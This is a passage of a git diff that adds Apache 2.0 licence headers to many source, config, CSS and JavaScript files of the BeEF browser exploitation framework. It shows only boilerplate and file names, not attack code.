specific language governing permissions and +# limitations under the License. +# module BeEF module Core module NetworkStack diff --git a/core/main/server.rb b/core/main/server.rb index ae774aebe..facd040c2 100644 --- a/core/main/server.rb +++ b/core/main/server.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Core # diff --git a/core/module.rb b/core/module.rb index 781117860..14f00f5ee 100644 --- a/core/module.rb +++ b/core/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Module diff --git a/core/modules.rb b/core/modules.rb index 2cad7fe1b..f0a117463 100644 --- a/core/modules.rb +++ b/core/modules.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Modules diff --git a/core/ruby.rb b/core/ruby.rb index 7b68902b3..bb93ab288 100644 --- a/core/ruby.rb +++ b/core/ruby.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# =begin Code in the 'ruby' folder are meants to patch ruby classes or diff --git a/core/ruby/hash.rb b/core/ruby/hash.rb index dc0ec1b16..df4c04c1e 100644 --- a/core/ruby/hash.rb +++ b/core/ruby/hash.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# # http://snippets.dzone.com/posts/show/3401 class Hash def recursive_merge(h) diff --git a/core/ruby/module.rb b/core/ruby/module.rb index 731cb96ca..03d34a316 100644 --- a/core/ruby/module.rb +++ b/core/ruby/module.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Module # Returns the classes in the current ObjectSpace where this module has been # mixed in according to Module#included_modules. diff --git a/core/ruby/object.rb b/core/ruby/object.rb index 2a05ef5b3..d60bba4f9 100644 --- a/core/ruby/object.rb +++ b/core/ruby/object.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class Object # diff --git a/core/ruby/patches/webrick/cookie.rb b/core/ruby/patches/webrick/cookie.rb index 7cbc15767..6e6a471fb 100644 --- a/core/ruby/patches/webrick/cookie.rb +++ b/core/ruby/patches/webrick/cookie.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# # The following file contains patches for WEBrick. module WEBrick diff --git a/core/ruby/patches/webrick/genericserver.rb b/core/ruby/patches/webrick/genericserver.rb index 87683af99..65cb136d3 100644 --- a/core/ruby/patches/webrick/genericserver.rb +++ b/core/ruby/patches/webrick/genericserver.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# # The following file contains patches for WEBrick. module WEBrick diff --git a/core/ruby/patches/webrick/httprequest.rb b/core/ruby/patches/webrick/httprequest.rb index a857958ac..d7ee39fa0 100644 --- a/core/ruby/patches/webrick/httprequest.rb +++ b/core/ruby/patches/webrick/httprequest.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# # The following file contains patches for WEBrick. module WEBrick diff --git a/core/ruby/patches/webrick/httpresponse.rb b/core/ruby/patches/webrick/httpresponse.rb index 83114c6f8..a3689a598 100644 --- a/core/ruby/patches/webrick/httpresponse.rb +++ b/core/ruby/patches/webrick/httpresponse.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# # The following file contains patches for WEBrick. module WEBrick diff --git a/core/ruby/patches/webrick/httpservlet/filehandler.rb b/core/ruby/patches/webrick/httpservlet/filehandler.rb index 33886c9be..e19ad0e60 100644 --- a/core/ruby/patches/webrick/httpservlet/filehandler.rb +++ b/core/ruby/patches/webrick/httpservlet/filehandler.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# # The following file contains patches for WEBrick. module WEBrick diff --git a/core/ruby/print.rb b/core/ruby/print.rb index b9d00d47f..a4a047d84 100644 --- a/core/ruby/print.rb +++ b/core/ruby/print.rb @@ -1,4 +1,19 @@ # +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# # Function used to print errors to the console # def print_error(s) diff --git a/core/ruby/string.rb b/core/ruby/string.rb index bf21fcb21..ac07a6c8f 100644 --- a/core/ruby/string.rb +++ b/core/ruby/string.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# class String # # Use a gem to colorize the console. diff --git a/core/settings.rb b/core/settings.rb index 0bab0ae5d..1aada831b 100644 --- a/core/settings.rb +++ b/core/settings.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF # # Use this module to check the current settings of BeEF. diff --git a/extensions/admin_ui/api/command.rb b/extensions/admin_ui/api/command.rb index 78bb4acf9..a20d8c425 100644 --- a/extensions/admin_ui/api/command.rb +++ b/extensions/admin_ui/api/command.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module AdminUI diff --git a/extensions/admin_ui/api/handler.rb b/extensions/admin_ui/api/handler.rb index d95059038..a1aebc04e 100644 --- a/extensions/admin_ui/api/handler.rb +++ b/extensions/admin_ui/api/handler.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module AdminUI diff --git a/extensions/admin_ui/classes/httpcontroller.rb b/extensions/admin_ui/classes/httpcontroller.rb index 24cfe91ba..303f8af57 100644 --- a/extensions/admin_ui/classes/httpcontroller.rb +++ b/extensions/admin_ui/classes/httpcontroller.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module AdminUI diff --git a/extensions/admin_ui/classes/session.rb b/extensions/admin_ui/classes/session.rb index 2cf3ebf63..9a832f5fb 100644 --- a/extensions/admin_ui/classes/session.rb +++ b/extensions/admin_ui/classes/session.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module AdminUI diff --git a/extensions/admin_ui/config.yaml b/extensions/admin_ui/config.yaml index aa7fa2f5e..7ce6daa09 100644 --- a/extensions/admin_ui/config.yaml +++ b/extensions/admin_ui/config.yaml @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# beef: extension: admin_ui: diff --git a/extensions/admin_ui/constants/agents.rb b/extensions/admin_ui/constants/agents.rb index b1a616663..016f665c8 100644 --- a/extensions/admin_ui/constants/agents.rb +++ b/extensions/admin_ui/constants/agents.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module AdminUI diff --git a/extensions/admin_ui/constants/icons.rb b/extensions/admin_ui/constants/icons.rb index f8e96afcf..4f81b00cb 100644 --- a/extensions/admin_ui/constants/icons.rb +++ b/extensions/admin_ui/constants/icons.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module AdminUI diff --git a/extensions/admin_ui/controllers/authentication/authentication.rb b/extensions/admin_ui/controllers/authentication/authentication.rb index 4de5f35e5..66843523f 100644 --- a/extensions/admin_ui/controllers/authentication/authentication.rb +++ b/extensions/admin_ui/controllers/authentication/authentication.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module AdminUI diff --git a/extensions/admin_ui/controllers/logs/logs.rb b/extensions/admin_ui/controllers/logs/logs.rb index f14303587..a799abc0f 100644 --- a/extensions/admin_ui/controllers/logs/logs.rb +++ b/extensions/admin_ui/controllers/logs/logs.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module AdminUI diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb index fe6721602..10d9c310a 100644 --- a/extensions/admin_ui/controllers/modules/modules.rb +++ b/extensions/admin_ui/controllers/modules/modules.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module AdminUI diff --git a/extensions/admin_ui/controllers/panel/panel.rb b/extensions/admin_ui/controllers/panel/panel.rb index 909cc525e..2531fd123 100644 --- a/extensions/admin_ui/controllers/panel/panel.rb +++ b/extensions/admin_ui/controllers/panel/panel.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module AdminUI diff --git a/extensions/admin_ui/controllers/proxy/proxy.rb b/extensions/admin_ui/controllers/proxy/proxy.rb index af29903be..061e8a83d 100644 --- a/extensions/admin_ui/controllers/proxy/proxy.rb +++ b/extensions/admin_ui/controllers/proxy/proxy.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module AdminUI diff --git a/extensions/admin_ui/controllers/requester/requester.rb b/extensions/admin_ui/controllers/requester/requester.rb index af7201a9f..768c047db 100644 --- a/extensions/admin_ui/controllers/requester/requester.rb +++ b/extensions/admin_ui/controllers/requester/requester.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module AdminUI diff --git a/extensions/admin_ui/extension.rb b/extensions/admin_ui/extension.rb index 5e3067134..1c2371bdf 100644 --- a/extensions/admin_ui/extension.rb +++ b/extensions/admin_ui/extension.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module AdminUI diff --git a/extensions/admin_ui/handlers/media.rb b/extensions/admin_ui/handlers/media.rb index 58c952890..e661446a9 100644 --- a/extensions/admin_ui/handlers/media.rb +++ b/extensions/admin_ui/handlers/media.rb @@ -1,3 +1,18 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# module BeEF module Extension module AdminUI diff --git a/extensions/admin_ui/handlers/ui.rb b/extensions/admin_ui/handlers/ui.rb index a1b3e44de..1c4117d39 100644 --- a/extensions/admin_ui/handlers/ui.rb +++ b/extensions/admin_ui/handlers/ui.rb @@ -1,4 +1,19 @@ # +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# # Generic Http Handler that extensions can use to register http # controllers into the framework. # diff --git a/extensions/admin_ui/media/css/base.css b/extensions/admin_ui/media/css/base.css index 28234afe0..38a37c471 100644 --- a/extensions/admin_ui/media/css/base.css +++ b/extensions/admin_ui/media/css/base.css @@ -1,3 +1,18 @@ +/* + * Copyright 2011 Wade Alcorn wade@bindshell.net + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ #header .right-menu { float: right; margin: 10px; diff --git a/extensions/admin_ui/media/css/ext-all.css b/extensions/admin_ui/media/css/ext-all.css index 22e51ccd4..edc588632 100644 --- a/extensions/admin_ui/media/css/ext-all.css +++ b/extensions/admin_ui/media/css/ext-all.css @@ -1,3 +1,18 @@ +/* + * Copyright 2011 Wade Alcorn wade@bindshell.net + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ /*! * Ext JS Library 3.3.1 * Copyright(c) 2006-2010 Sencha Inc. diff --git a/extensions/admin_ui/media/javascript/ext-all-debug.js b/extensions/admin_ui/media/javascript/ext-all-debug.js index 3befa7e76..d2d8787f6 100644 --- a/extensions/admin_ui/media/javascript/ext-all-debug.js +++ b/extensions/admin_ui/media/javascript/ext-all-debug.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// Ext.DomHelper = function(){ diff --git a/extensions/admin_ui/media/javascript/ext-all.js b/extensions/admin_ui/media/javascript/ext-all.js index 74c6e3cac..c37572bce 100644 --- a/extensions/admin_ui/media/javascript/ext-all.js +++ b/extensions/admin_ui/media/javascript/ext-all.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /* * Ext JS Library 3.2.1 * Copyright(c) 2006-2010 Ext JS, Inc. diff --git a/extensions/admin_ui/media/javascript/ext-base.js b/extensions/admin_ui/media/javascript/ext-base.js index 5573086e2..157498f85 100644 --- a/extensions/admin_ui/media/javascript/ext-base.js +++ b/extensions/admin_ui/media/javascript/ext-base.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /* * Ext JS Library 3.2.1 * Copyright(c) 2006-2010 Ext JS, Inc. diff --git a/extensions/admin_ui/media/javascript/ext-beef.js b/extensions/admin_ui/media/javascript/ext-beef.js index 68288d127..bbc532e6e 100644 --- a/extensions/admin_ui/media/javascript/ext-beef.js +++ b/extensions/admin_ui/media/javascript/ext-beef.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// Ext.beef = function(){ var msgCt; diff --git a/extensions/admin_ui/media/javascript/ui/authentication.js b/extensions/admin_ui/media/javascript/ui/authentication.js index d1a0012e5..57a7c5b5e 100644 --- a/extensions/admin_ui/media/javascript/ui/authentication.js +++ b/extensions/admin_ui/media/javascript/ui/authentication.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// Ext.onReady(function() { submitAuthForm = function() { diff --git a/extensions/admin_ui/media/javascript/ui/panel/DataGrid.js b/extensions/admin_ui/media/javascript/ui/panel/DataGrid.js index a7303bec1..3f999be45 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/DataGrid.js +++ b/extensions/admin_ui/media/javascript/ui/panel/DataGrid.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// DataGrid = function(url, page, base) { this.page = page; diff --git a/extensions/admin_ui/media/javascript/ui/panel/DistributedEngine.js b/extensions/admin_ui/media/javascript/ui/panel/DistributedEngine.js index de0cc96df..675a15787 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/DistributedEngine.js +++ b/extensions/admin_ui/media/javascript/ui/panel/DistributedEngine.js @@ -1,3 +1,18 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// /* * RULES TYPE * - DOMAIN : DOMAIN www.zzz.com diff --git a/extensions/admin_ui/media/javascript/ui/panel/Logout.js b/extensions/admin_ui/media/javascript/ui/panel/Logout.js index 